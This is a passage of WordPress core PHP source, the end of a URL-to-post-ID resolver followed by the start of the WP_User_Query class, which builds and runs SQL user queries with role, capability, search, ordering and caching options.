		$page_on_front = get_option( 'page_on_front' );

		if ( $page_on_front && get_post( $page_on_front ) instanceof WP_Post ) {
			return (int) $page_on_front;
		}
	}

	// Check to see if we are using rewrite rules.
	$rewrite = $wp_rewrite->wp_rewrite_rules();

	// Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options.
	if ( empty( $rewrite ) ) {
		return 0;
	}

	// Strip 'index.php/' if we're not using path info permalinks.
	if ( ! $wp_rewrite->using_index_permalinks() ) {
		$url = str_replace( $wp_rewrite->index . '/', '', $url );
	}

	if ( str_contains( trailingslashit( $url ), home_url( '/' ) ) ) {
		// Chop off http://domain.com/[path].
		$url = str_replace( home_url(), '', $url );
	} else {
		// Chop off /path/to/blog.
		$home_path = parse_url( home_url( '/' ) );
		$home_path = isset( $home_path['path'] ) ? $home_path['path'] : '';
		$url       = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) );
	}

	// Trim leading and lagging slashes.
	$url = trim( $url, '/' );

	$request              = $url;
	$post_type_query_vars = array();

	foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
		if ( ! empty( $t->query_var ) ) {
			$post_type_query_vars[ $t->query_var ] = $post_type;
		}
	}

	// Look for matches.
	$request_match = $request;
	foreach ( (array) $rewrite as $match => $query ) {

		/*
		 * If the requesting file is the anchor of the match,
		 * prepend it to the path info.
		 */
		if ( ! empty( $url ) && ( $url !== $request ) && str_starts_with( $match, $url ) ) {
			$request_match = $url . '/' . $request;
		}

		if ( preg_match( "#^$match#", $request_match, $matches ) ) {

			if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
				// This is a verbose page match, let's check to be sure about it.
				$page = get_page_by_path( $matches[ $varmatch[1] ] );
				if ( ! $page ) {
					continue;
				}

				$post_status_obj = get_post_status_object( $page->post_status );
				if ( ! $post_status_obj->public && ! $post_status_obj->protected
					&& ! $post_status_obj->private && $post_status_obj->exclude_from_search ) {
					continue;
				}
			}

			/*
			 * Got a match.
			 * Trim the query of everything up to the '?'.
			 */
			$query = preg_replace( '!^.+\?!', '', $query );

			// Substitute the substring matches into the query.
			$query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) );

			// Filter out non-public query vars.
			global $wp;
			parse_str( $query, $query_vars );
			$query = array();
			foreach ( (array) $query_vars as $key => $value ) {
				if ( in_array( (string) $key, $wp->public_query_vars, true ) ) {
					$query[ $key ] = $value;
					if ( isset( $post_type_query_vars[ $key ] ) ) {
						$query['post_type'] = $post_type_query_vars[ $key ];
						$query['name']      = $value;
					}
				}
			}

			// Resolve conflicts between posts with numeric slugs and date archive queries.
			$query = wp_resolve_numeric_slug_conflicts( $query );

			// Do the query.
			$query = new WP_Query( $query );
			if ( ! empty( $query->posts ) && $query->is_singular ) {
				return $query->post->ID;
			} else {
				return 0;
			}
		}
	}
	return 0;
}
<?php
/**
 * User API: WP_User_Query class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used for querying users.
 *
 * @since 3.1.0
 *
 * @see WP_User_Query::prepare_query() for information on accepted arguments.
 */
#[AllowDynamicProperties]
class WP_User_Query {

	/**
	 * Query vars, after parsing
	 *
	 * @since 3.5.0
	 * @var array
	 */
	public $query_vars = array();

	/**
	 * List of found user IDs.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	private $results;

	/**
	 * Total number of found users for the current query
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $total_users = 0;

	/**
	 * Metadata query container.
	 *
	 * @since 4.2.0
	 * @var WP_Meta_Query
	 */
	public $meta_query = false;

	/**
	 * The SQL query used to fetch matching users.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $request;

	private $compat_fields = array( 'results', 'total_users' );

	// SQL clauses.
	public $query_fields;
	public $query_from;
	public $query_where;
	public $query_orderby;
	public $query_limit;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @param null|string|array $query Optional. The query variables.
	 *                                 See WP_User_Query::prepare_query() for information on accepted arguments.
	 */
	public function __construct( $query = null ) {
		if ( ! empty( $query ) ) {
			$this->prepare_query( $query );
			$this->query();
		}
	}

	/**
	 * Fills in missing query variables with default values.
	 *
	 * @since 4.4.0
	 *
	 * @param string|array $args Query vars, as passed to `WP_User_Query`.
	 * @return array Complete query variables with undefined ones filled in with defaults.
	 */
	public static function fill_query_vars( $args ) {
		$defaults = array(
			'blog_id'             => get_current_blog_id(),
			'role'                => '',
			'role__in'            => array(),
			'role__not_in'        => array(),
			'capability'          => '',
			'capability__in'      => array(),
			'capability__not_in'  => array(),
			'meta_key'            => '',
			'meta_value'          => '',
			'meta_compare'        => '',
			'include'             => array(),
			'exclude'             => array(),
			'search'              => '',
			'search_columns'      => array(),
			'orderby'             => 'login',
			'order'               => 'ASC',
			'offset'              => '',
			'number'              => '',
			'paged'               => 1,
			'count_total'         => true,
			'fields'              => 'all',
			'who'                 => '',
			'has_published_posts' => null,
			'nicename'            => '',
			'nicename__in'        => array(),
			'nicename__not_in'    => array(),
			'login'               => '',
			'login__in'           => array(),
			'login__not_in'       => array(),
			'cache_results'       => true,
		);

		return wp_parse_args( $args, $defaults );
	}

	/**
	 * Prepares the query variables.
	 *
	 * @since 3.1.0
	 * @since 4.1.0 Added the ability to order by the `include` value.
	 * @since 4.2.0 Added 'meta_value_num' support for `$orderby` parameter. Added multi-dimensional array syntax
	 *              for `$orderby` parameter.
	 * @since 4.3.0 Added 'has_published_posts' parameter.
	 * @since 4.4.0 Added 'paged', 'role__in', and 'role__not_in' parameters. The 'role' parameter was updated to
	 *              permit an array or comma-separated list of values. The 'number' parameter was updated to support
	 *              querying for all users with using -1.
	 * @since 4.7.0 Added 'nicename', 'nicename__in', 'nicename__not_in', 'login', 'login__in',
	 *              and 'login__not_in' parameters.
	 * @since 5.1.0 Introduced the 'meta_compare_key' parameter.
	 * @since 5.3.0 Introduced the 'meta_type_key' parameter.
	 * @since 5.9.0 Added 'capability', 'capability__in', and 'capability__not_in' parameters.
	 * @since 6.3.0 Added 'cache_results' parameter.
	 *
	 * @global wpdb     $wpdb     WordPress database abstraction object.
	 * @global WP_Roles $wp_roles WordPress role management object.
	 *
	 * @param string|array $query {
	 *     Optional. Array or string of query parameters.
	 *
	 *     @type int             $blog_id             The site ID. Default is the current site.
	 *     @type string|string[] $role                An array or a comma-separated list of role names that users must match
	 *                                                to be included in results. Note that this is an inclusive list: users
	 *                                                must match *each* role. Default empty.
	 *     @type string[]        $role__in            An array of role names. Matched users must have at least one of these
	 *                                                roles. Default empty array.
	 *     @type string[]        $role__not_in        An array of role names to exclude. Users matching one or more of these
	 *                                                roles will not be included in results. Default empty array.
	 *     @type string|string[] $meta_key            Meta key or keys to filter by.
	 *     @type string|string[] $meta_value          Meta value or values to filter by.
	 *     @type string          $meta_compare        MySQL operator used for comparing the meta value.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_compare_key    MySQL operator used for comparing the meta key.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type           MySQL data type that the meta_value column will be CAST to for comparisons.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type_key       MySQL data type that the meta_key column will be CAST to for comparisons.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type array           $meta_query          An associative array of WP_Meta_Query arguments.
	 *                                                See WP_Meta_Query::__construct() for accepted values.
	 *     @type string|string[] $capability          An array or a comma-separated list of capability names that users must match
	 *                                                to be included in results. Note that this is an inclusive list: users
	 *                                                must match *each* capability.
	 *                                                Does NOT work for capabilities not in the database or filtered via {@see 'map_meta_cap'}.
	 *                                                Default empty.
	 *     @type string[]        $capability__in      An array of capability names. Matched users must have at least one of these
	 *                                                capabilities.
	 *                                                Does NOT work for capabilities not in the database or filtered via {@see 'map_meta_cap'}.
	 *                                                Default empty array.
	 *     @type string[]        $capability__not_in  An array of capability names to exclude. Users matching one or more of these
	 *                                                capabilities will not be included in results.
	 *                                                Does NOT work for capabilities not in the database or filtered via {@see 'map_meta_cap'}.
	 *                                                Default empty array.
	 *     @type int[]           $include             An array of user IDs to include. Default empty array.
	 *     @type int[]           $exclude             An array of user IDs to exclude. Default empty array.
	 *     @type string          $search              Search keyword. Searches for possible string matches on columns.
	 *                                                When `$search_columns` is left empty, it tries to determine which
	 *                                                column to search in based on search string. Default empty.
	 *     @type string[]        $search_columns      Array of column names to be searched. Accepts 'ID', 'user_login',
	 *                                                'user_email', 'user_url', 'user_nicename', 'display_name'.
	 *                                                Default empty array.
	 *     @type string|array    $orderby             Field(s) to sort the retrieved users by. May be a single value,
	 *                                                an array of values, or a multi-dimensional array with fields as
	 *                                                keys and orders ('ASC' or 'DESC') as values. Accepted values are:
	 *                                                - 'ID'
	 *                                                - 'display_name' (or 'name')
	 *                                                - 'include'
	 *                                                - 'user_login' (or 'login')
	 *                                                - 'login__in'
	 *                                                - 'user_nicename' (or 'nicename'),
	 *                                                - 'nicename__in'
	 *                                                - 'user_email (or 'email')
	 *                                                - 'user_url' (or 'url'),
	 *                                                - 'user_registered' (or 'registered')
	 *                                                - 'post_count'
	 *                                                - 'meta_value',
	 *                                                - 'meta_value_num'
	 *                                                - The value of `$meta_key`
	 *                                                - An array key of `$meta_query`
	 *                                                To use 'meta_value' or 'meta_value_num', `$meta_key`
	 *                                                must be also be defined. Default 'user_login'.
	 *     @type string          $order               Designates ascending or descending order of users. Order values
	 *                                                passed as part of an `$orderby` array take precedence over this
	 *                                                parameter. Accepts 'ASC', 'DESC'. Default 'ASC'.
	 *     @type int             $offset              Number of users to offset in retrieved results. Can be used in
	 *                                                conjunction with pagination. Default 0.
	 *     @type int             $number              Number of users to limit the query for. Can be used in
	 *                                                conjunction with pagination. Value -1 (all) is supported, but
	 *                                                should be used with caution on larger sites.
	 *                                                Default -1 (all users).
	 *     @type int             $paged               When used with number, defines the page of results to return.
	 *                                                Default 1.
	 *     @type bool            $count_total         Whether to count the total number of users found. If pagination
	 *                                                is not needed, setting this to false can improve performance.
	 *                                                Default true.
	 *     @type string|string[] $fields              Which fields to return. Single or all fields (string), or array
	 *                                                of fields. Accepts:
	 *                                                - 'ID'
	 *                                                - 'display_name'
	 *                                                - 'user_login'
	 *                                                - 'user_nicename'
	 *                                                - 'user_email'
	 *                                                - 'user_url'
	 *                                                - 'user_registered'
	 *                                                - 'user_pass'
	 *                                                - 'user_activation_key'
	 *                                                - 'user_status'
	 *                                                - 'spam' (only available on multisite installs)
	 *                                                - 'deleted' (only available on multisite installs)
	 *                                                - 'all' for all fields and loads user meta.
	 *                                                - 'all_with_meta' Deprecated. Use 'all'.
	 *                                                Default 'all'.
	 *     @type string          $who                 Type of users to query. Accepts 'authors'.
	 *                                                Default empty (all users).
	 *     @type bool|string[]   $has_published_posts Pass an array of post types to filter results to users who have
	 *                                                published posts in those post types. `true` is an alias for all
	 *                                                public post types.
	 *     @type string          $nicename            The user nicename. Default empty.
	 *     @type string[]        $nicename__in        An array of nicenames to include. Users matching one of these
	 *                                                nicenames will be included in results. Default empty array.
	 *     @type string[]        $nicename__not_in    An array of nicenames to exclude. Users matching one of these
	 *                                                nicenames will not be included in results. Default empty array.
	 *     @type string          $login               The user login. Default empty.
	 *     @type string[]        $login__in           An array of logins to include. Users matching one of these
	 *                                                logins will be included in results. Default empty array.
	 *     @type string[]        $login__not_in       An array of logins to exclude. Users matching one of these
	 *                                                logins will not be included in results. Default empty array.
	 *     @type bool            $cache_results       Whether to cache user information. Default true.
	 * }
	 */
	public function prepare_query( $query = array() ) {
		global $wpdb, $wp_roles;

		if ( empty( $this->query_vars ) || ! empty( $query ) ) {
			$this->query_limit = null;
			$this->query_vars  = $this->fill_query_vars( $query );
		}

		/**
		 * Fires before the WP_User_Query has been parsed.
		 *
		 * The passed WP_User_Query object contains the query variables,
		 * not yet passed into SQL.
		 *
		 * @since 4.0.0
		 *
		 * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference).
		 */
		do_action_ref_array( 'pre_get_users', array( &$this ) );

		// Ensure that query vars are filled after 'pre_get_users'.
		$qv =& $this->query_vars;
		$qv = $this->fill_query_vars( $qv );

		$allowed_fields = array(
			'id',
			'user_login',
			'user_pass',
			'user_nicename',
			'user_email',
			'user_url',
			'user_registered',
			'user_activation_key',
			'user_status',
			'display_name',
		);
		if ( is_multisite() ) {
			$allowed_fields[] = 'spam';
			$allowed_fields[] = 'deleted';
		}

		if ( is_array( $qv['fields'] ) ) {
			$qv['fields'] = array_map( 'strtolower', $qv['fields'] );
			$qv['fields'] = array_intersect( array_unique( $qv['fields'] ), $allowed_fields );

			if ( empty( $qv['fields'] ) ) {
				$qv['fields'] = array( 'id' );
			}

			$this->query_fields = array();
			foreach ( $qv['fields'] as $field ) {
				$field                = 'id' === $field ? 'ID' : sanitize_key( $field );
				$this->query_fields[] = "$wpdb->users.$field";
			}
			$this->query_fields = implode( ',', $this->query_fields );
		} elseif ( 'all_with_meta' === $qv['fields'] || 'all' === $qv['fields'] || ! in_array( $qv['fields'], $allowed_fields, true ) ) {
			$this->query_fields = "$wpdb->users.ID";
		} else {
			$field              = 'id' === strtolower( $qv['fields'] ) ? 'ID' : sanitize_key( $qv['fields'] );
			$this->query_fields = "$wpdb->users.$field";
		}

		if ( isset( $qv['count_total'] ) && $qv['count_total'] ) {
			$this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields;
		}

		$this->query_from  = "FROM $wpdb->users";
		$this->query_where = 'WHERE 1=1';

		// Parse and sanitize 'include', for use by 'orderby' as well as 'include' below.
		if ( ! empty( $qv['include'] ) ) {
			$include = wp_parse_id_list( $qv['include'] );
		} else {
			$include = false;
		}

		$blog_id = 0;
		if ( isset( $qv['blog_id'] ) ) {
			$blog_id = absint( $qv['blog_id'] );
		}

		if ( $qv['has_published_posts'] && $blog_id ) {
			if ( true === $qv['has_published_posts'] ) {
				$post_types = get_post_types( array( 'public' => true ) );
			} else {
				$post_types = (array) $qv['has_published_posts'];
			}

			foreach ( $post_types as &$post_type ) {
				$post_type = $wpdb->prepare( '%s', $post_type );
			}

			$posts_table        = $wpdb->get_blog_prefix( $blog_id ) . 'posts';
			$this->query_where .= " AND $wpdb->users.ID IN ( SELECT DISTINCT $posts_table.post_author FROM $posts_table WHERE $posts_table.post_status = 'publish' AND $posts_table.post_type IN ( " . implode( ', ', $post_types ) . ' ) )';
		}

		// nicename
		if ( '' !== $qv['nicename'] ) {
			$this->query_where .= $wpdb->prepare( ' AND user_nicename = %s', $qv['nicename'] );
		}

		if ( ! empty( $qv['nicename__in'] ) ) {
			$sanitized_nicename__in = array_map( 'esc_sql', $qv['nicename__in'] );
			$nicename__in           = implode( "','", $sanitized_nicename__in );
			$this->query_where     .= " AND user_nicename IN ( '$nicename__in' )";
		}

		if ( ! empty( $qv['nicename__not_in'] ) ) {
			$sanitized_nicename__not_in = array_map( 'esc_sql', $qv['nicename__not_in'] );
			$nicename__not_in           = implode( "','", $sanitized_nicename__not_in );
			$this->query_where         .= " AND user_nicename NOT IN ( '$nicename__not_in' )";
		}

		// login
		if ( '' !== $qv['login'] ) {
			$this->query_where .= $wpdb->prepare( ' AND user_login = %s', $qv['login'] );
		}

		if ( ! empty( $qv['login__in'] ) ) {
			$sanitized_login__in = array_map( 'esc_sql', $qv['login__in'] );
			$login__in           = implode( "','", $sanitized_login__in );
			$this->query_where  .= " AND user_login IN ( '$login__in' )";
		}

		if ( ! empty( $qv['login__not_in'] ) ) {
			$sanitized_login__not_in = array_map( 'esc_sql', $qv['login__not_in'] );
			$login__not_in           = implode( "','", $sanitized_login__not_in );
			$this->query_where      .= " AND user_login NOT IN ( '$login__not_in' )";
		}

		// Meta query.
		$this->meta_query = new WP_Meta_Query();
		$this->meta_query->parse_query_vars( $qv );

		if ( isset( $qv['who'] ) && 'authors' === $qv['who'] && $blog_id ) {
			_deprecated_argument(
				'WP_User_Query',
				'5.9.0',
				sprintf(
					/* translators: 1: who, 2: capability */
					__( '%1$s is deprecated. Use %2$s instead.' ),
					'<code>who</code>',
					'<code>capability</code>'
				)
			);

			$who_query = array(
				'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'user_level',
				'value'   => 0,
				'compare' => '!=',
			);

			// Prevent extra meta query.
			$qv['blog_id'] = 0;
			$blog_id       = 0;

			if ( empty( $this->meta_query->queries ) ) {
				$this->meta_query->queries = array( $who_query );
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this->meta_query->queries = array(
					'relation' => 'AND',
					array( $this->meta_query->queries, $who_query ),
				);
			}

			$this->meta_query->parse_query_vars( $this->meta_query->queries );
		}

		// Roles.
		$roles = array();
		if ( isset( $qv['role'] ) ) {
			if ( is_array( $qv['role'] ) ) {
				$roles = $qv['role'];
			} elseif ( is_string( $qv['role'] ) && ! empty( $qv['role'] ) ) {
				$roles = array_map( 'trim', explode( ',', $qv['role'] ) );
			}
		}

		$role__in = array();
		if ( isset( $qv['role__in'] ) ) {
			$role__in = (array) $qv['role__in'];
		}

		$role__not_in = array();
		if ( isset( $qv['role__not_in'] ) ) {
			$role__not_in = (array) $qv['role__not_in'];
		}

		// Capabilities.
		$available_roles = array();

		if ( ! empty( $qv['capability'] ) || ! empty( $qv['capability__in'] ) || ! empty( $qv['capability__not_in'] ) ) {
			$wp_roles->for_site( $blog_id );
			$available_roles = $wp_roles->roles;
		}

		$capabilities = array();
		if ( ! empty( $qv['capability'] ) ) {
			if ( is_array( $qv['capability'] ) ) {
				$capabilities = $qv['capability'];
			} elseif ( is_string( $qv['capability'] ) ) {
				$capabilities = array_map( 'trim', explode( ',', $qv['capability'] ) );
			}
		}

		$capability__in = array();
		if ( ! empty( $qv['capability__in'] ) ) {
			$capability__in = (array) $qv['capability__in'];
		}

		$capability__not_in = array();
		if ( ! empty( $qv['capability__not_in'] ) ) {
			$capability__not_in = (array) $qv['capability__not_in'];
		}

		// Keep track of all capabilities and the roles they're added on.
		$caps_with_roles = array();

		foreach ( $available_roles as $role => $role_data ) {
			$role_caps = array_keys( array_filter( $role_data['capabilities'] ) );

			foreach ( $capabilities as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$caps_with_roles[ $cap ][] = $role;
					break;
				}
			}

			foreach ( $capability__in as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$role__in[] = $role;
					break;
				}
			}

			foreach ( $capability__not_in as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$role__not_in[] = $role;
					break;
				}
			}
		}

		$role__in     = array_merge( $role__in, $capability__in );
		$role__not_in = array_merge( $role__not_in, $capability__not_in );

		$roles        = array_unique( $roles );
		$role__in     = array_unique( $role__in );
		$role__not_in = array_unique( $role__not_in );

		// Support querying by capabilities added directly to users.
		if ( $blog_id && ! empty( $capabilities ) ) {
			$capabilities_clauses = array( 'relation' => 'AND' );

			foreach ( $capabilities as $cap ) {
				$clause = array( 'relation' => 'OR' );

				$clause[] = array(
					'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
					'value'   => '"' . $cap . '"',
					'compare' => 'LIKE',
				);

				if ( ! empty( $caps_with_roles[ $cap ] ) ) {
					foreach ( $caps_with_roles[ $cap ] as $role ) {
						$clause[] = array(
							'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
							'value'   => '"' . $role . '"',
							'compare' => 'LIKE',
						);
					}
				}

				$capabilities_clauses[] = $clause;
			}

			$role_queries[] = $capabilities_clauses;

			if ( empty( $this->meta_query->queries ) ) {
				$this->meta_query->queries[] = $capabilities_clauses;
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this->meta_query->queries = array(
					'relation' => 'AND',
					array( $this->meta_query->queries, array( $capabilities_clauses ) ),
				);
			}

			$this->meta_query->parse_query_vars( $this->meta_query->queries );
		}

		if ( $blog_id && ( ! empty( $roles ) || ! empty( $role__in ) || ! empty( $role__not_in ) || is_multisite() ) ) {
			$role_queries = array();

			$roles_clauses = array( 'relation' => 'AND' );
			if ( ! empty( $roles ) ) {
				foreach ( $roles as $role ) {
					$roles_clauses[] = array(
						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
						'value'   => '"' . $role . '"',
						'compare' => 'LIKE',
					);
				}

				$role_queries[] = $roles_clauses;
			}

			$role__in_clauses = array( 'relation' => 'OR' );
			if ( ! empty( $role__in ) ) {
				foreach ( $role__in as $role ) {
					$role__in_clauses[] = array(
						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
						'value'   => '"' . $role . '"',
						'compare' => 'LIKE',
					);
				}

				$role_queries[] = $role__in_clauses;
			}

			$role__not_in_clauses = array( 'relation' => 'AND' );
			if ( ! empty( $role__not_in ) ) {
				foreach ( $role__not_in as $role ) {
					$role__not_in_clauses[] = array(
						'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
						'value'   => '"' . $role . '"',
						'compare' => 'NOT LIKE',
					);
				}

				$role_queries[] = $role__not_in_clauses;
			}

			// If there are no specific roles named, make sure the user is a member of the site.
			if ( empty( $role_queries ) ) {
				$role_queries[] = array(
					'key'     => $wpdb->get_blog_prefix( $blog_id ) . 'capabilities',
					'compare' => 'EXISTS',
				);
			}

			// Specify that role queries should be joined with AND.
			$role_queries['relation'] = 'AND';

			if ( empty( $this->meta_query->queries ) ) {
				$this->meta_query->queries = $role_queries;
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this->meta_query->queries = array(
					'relation' => 'AND',
					array( $this->meta_query->queries, $role_queries ),
				);
			}

			$this->meta_query->parse_query_vars( $this->meta_query->queries );
		}

		if ( ! empty( $this->meta_query->queries ) ) {
			$clauses            = $this->meta_query->get_sql( 'user', $wpdb->users, 'ID', $this );
			$this->query_from  .= $clauses['join'];
			$this->query_where .= $clauses['where'];

			if ( $this->meta_query->has_or_relation() ) {
				$this->query_fields = 'DISTINCT ' . $this->query_fields;
			}
		}

		// Sorting.
		$qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : '';
		$order       = $this->parse_order( $qv['order'] );

		if ( empty( $qv['orderby'] ) ) {
			// Default order is by 'user_login'.
			$ordersby = array( 'user_login' => $order );
		} elseif ( is_array( $qv['orderby'] ) ) {
			$ordersby = $qv['orderby'];
		} else {
			// 'orderby' values may be a comma- or space-separated list.
			$ordersby = preg_split( '/[,\s]+/', $qv['orderby'] );
		}

		$orderby_array = array();
		foreach ( $ordersby as $_key => $_value ) {
			if ( ! $_value ) {
				continue;
			}

			if ( is_int( $_key ) ) {
				// Integer key means this is a flat array of 'orderby' fields.
				$_orderby = $_value;
				$_order   = $order;
			} else {
				// Non-integer key means this the key is the field and the value is ASC/DESC.
				$_orderby = $_key;
				$_order   = $_value;
			}

			$parsed = $this->parse_orderby( $_orderby );

			if ( ! $parsed ) {
				continue;
			}

			if ( 'nicename__in' === $_orderby || 'login__in' === $_orderby ) {
				$orderby_array[] = $parsed;
			} else {
				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
			}
		}

		// If no valid clauses were found, order by user_login.
		if ( empty( $orderby_array ) ) {
			$orderby_array[] = "user_login $order";
		}

		$this->query_orderby = 'ORDER BY ' . implode( ', ', $orderby_array );

		// Limit.
		if ( isset( $qv['number'] ) && $qv['number'] > 0 ) {
			if ( $qv['offset'] ) {
				$this->query_limit = $wpdb->prepare( 'LIMIT %d, %d', $qv['offset'], $qv['number'] );
			} else {
				$this->query_limit = $wpdb->prepare( 'LIMIT %d, %d', $qv['number'] * ( $qv['paged'] - 1 ), $qv['number'] );
			}
		}

		$search = '';
		if ( isset( $qv['search'] ) ) {
			$search = trim( $qv['search'] );
		}

		if ( $search ) {
			$leading_wild  = ( ltrim( $search, '*' ) !== $search );
			$trailing_wild = ( rtrim( $search, '*' ) !== $search );
			if ( $leading_wild && $trailing_wild ) {
				$wild = 'both';
			} elseif ( $leading_wild ) {
				$wild = 'leading';
			} elseif ( $trailing_wild ) {
				$wild = 'trailing';
			} else {
				$wild = false;
			}
			if ( $wild ) {
				$search = trim( $search, '*' );
			}

			$search_columns = array();
			if ( $qv['search_columns'] ) {
				$search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename', 'display_name' ) );
			}
			if ( ! $search_columns ) {
				if ( str_contains( $search, '@' ) ) {
					$search_columns = array( 'user_email' );
				} elseif ( is_numeric( $search ) ) {
					$search_columns = array( 'user_login', 'ID' );
				} elseif ( preg_match( '|^https?://|', $search ) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) ) {
					$search_columns = array( 'user_url' );
				} else {
					$search_columns = array( 'user_login', 'user_url', 'user_email', 'user_nicename', 'display_name' );
				}
			}

			/**
			 * Filters the columns to search in a WP_User_Query search.
			 *
			 * The default columns depend on the search term, and include 'ID', 'user_login',
			 * 'user_email', 'user_url', 'user_nicename', and 'display_name'.
			 *
			 * @since 3.6.0
			 *
			 * @param string[]      $search_columns Array of column names to be searched.
			 * @param string        $search         Text being searched.
			 * @param WP_User_Query $query          The current WP_User_Query instance.
			 */
			$search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this );

			$this->query_where .= $this->get_search_sql( $search, $search_columns, $wild );
		}

		if ( ! empty( $include ) ) {
			// Sanitized earlier.
			$ids                = implode( ',', $include );
			$this->query_where .= " AND $wpdb->users.ID IN ($ids)";
		} elseif ( ! empty( $qv['exclude'] ) ) {
			$ids                = implode( ',', wp_parse_id_list( $qv['exclude'] ) );
			$this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)";
		}

		// Date queries are allowed for the user_registered field.
		if ( ! empty( $qv['date_query'] ) && is_array( $qv['date_query'] ) ) {
			$date_query         = new WP_Date_Query( $qv['date_query'], 'user_registered' );
			$this->query_where .= $date_query->get_sql();
		}

		/**
		 * Fires after the WP_User_Query has been parsed, and before
		 * the query is executed.
		 *
		 * The passed WP_User_Query object contains SQL parts formed
		 * from parsing the given query.
		 *
		 * @since 3.1.0
		 *
		 * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference).
		 */
		do_action_ref_array( 'pre_user_query', array( &$this ) );
	}

	/**
	 * Executes the query, with the current variables.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	public function query() {
		global $wpdb;

		if ( ! did_action( 'plugins_loaded' ) ) {
			_doing_it_wrong(
				'WP_User_Query::query',
				sprintf(
				/* translators: %s: plugins_loaded */
					__( 'User queries should not be run before the %s hook.' ),
					'<code>plugins_loaded</code>'
				),
				'6.1.1'
			);
		}

		$qv =& $this->query_vars;

		// Do not cache results if more than 3 fields are requested.
		if ( is_array( $qv['fields'] ) && count( $qv['fields'] ) > 3 ) {
			$qv['cache_results'] = false;
		}

		/**
		 * Filters the users array before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress' default user queries.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `total_users` property of the WP_User_Query object, passed to the filter
		 * by reference. If WP_User_Query does not perform a database query, it will not
		 * have enough information to generate these values itself.
		 *
		 * @since 5.1.0
		 *
		 * @param array|null    $results Return an array of user data to short-circuit WP's user query
		 *                               or null to allow WP to run its normal queries.
		 * @param WP_User_Query $query   The WP_User_Query instance (passed by reference).
		 */
		$this->results = apply_filters_ref_array( 'users_pre_query', array( null, &$this ) );

		if ( null === $this->results ) {
			// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
			$this->request =
				"SELECT {$this->query_fields}
				 {$this->query_from}
				 {$this->query_where}
				 {$this->query_orderby}
				 {$this->query_limit}";
			$cache_value   = false;
			$cache_key     = $this->generate_cache_key( $qv, $this->request );
			$cache_group   = 'user-queries';
			if ( $qv['cache_results'] ) {
				$cache_value = wp_cache_get( $cache_key, $cache_group );
			}
			if ( false !== $cache_value ) {
				$this->results     = $cache_value['user_data'];
				$this->total_users = $cache_value['total_users'];
			} else {

				if ( is_array( $qv['fields'] ) ) {
					$this->results = $wpdb->get_results( $this->request );
				} else {
					$this->results = $wpdb->get_col( $this->request );
				}

				if ( isset( $qv['count_total'] ) && $qv['count_total'] ) {
					/**
					 * Filters SELECT FOUND_ROWS() query for the current WP_User_Query instance.
					 *
					 * @since 3.2.0
					 * @since 5.1.0 Added the `$this` parameter.
					 *
					 * @global wpdb $wpdb WordPress database abstraction object.
					 *
					 * @param string        $sql   The SELECT FOUND_ROWS() query for the current WP_User_Query.
					 * @param WP_User_Query $query The current WP_User_Query instance.
					 */
					$found_users_query = apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()', $this );

					$this->total_users = (int) $wpdb->get_var( $found_users_query );
				}

				if ( $qv['cache_results'] ) {
					$cache_value = array(
						'user_data'   => $this->results,
						'total_users' => $this->total_users,
					);
					wp_cache_add( $cache_key, $cache_value, $cache_group );
				}
			}
		}

		if ( ! $this->results ) {
			return;
		}
		if (
			is_array( $qv['fields'] ) &&
			isset( $this->results[0]->ID )
		) {
			foreach ( $this->results as $result ) {
				$result->id = $result->ID;
			}
		} elseif ( 'all_with_meta' === $qv['fields'] || 'all' === $qv['fields'] ) {
			if ( function_exists( 'cache_users' ) ) {
				cache_users( $this->results );
			}

			$r = array();
			foreach ( $this->results as $userid ) {
				if ( 'all_with_meta' === $qv['fields'] ) {
					$r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] );
				} else {
					$r[] = new WP_User( $userid, '', $qv['blog_id'] );
				}
			}

			$this->results = $r;
		}
	}

	/**
	 * Retrieves query variable.
	 *
	 * @since 3.5.0
	 *
	 * @param string $query_var Query variable key.
	 * @return mixed
	 */
	public function get( $query_var ) {
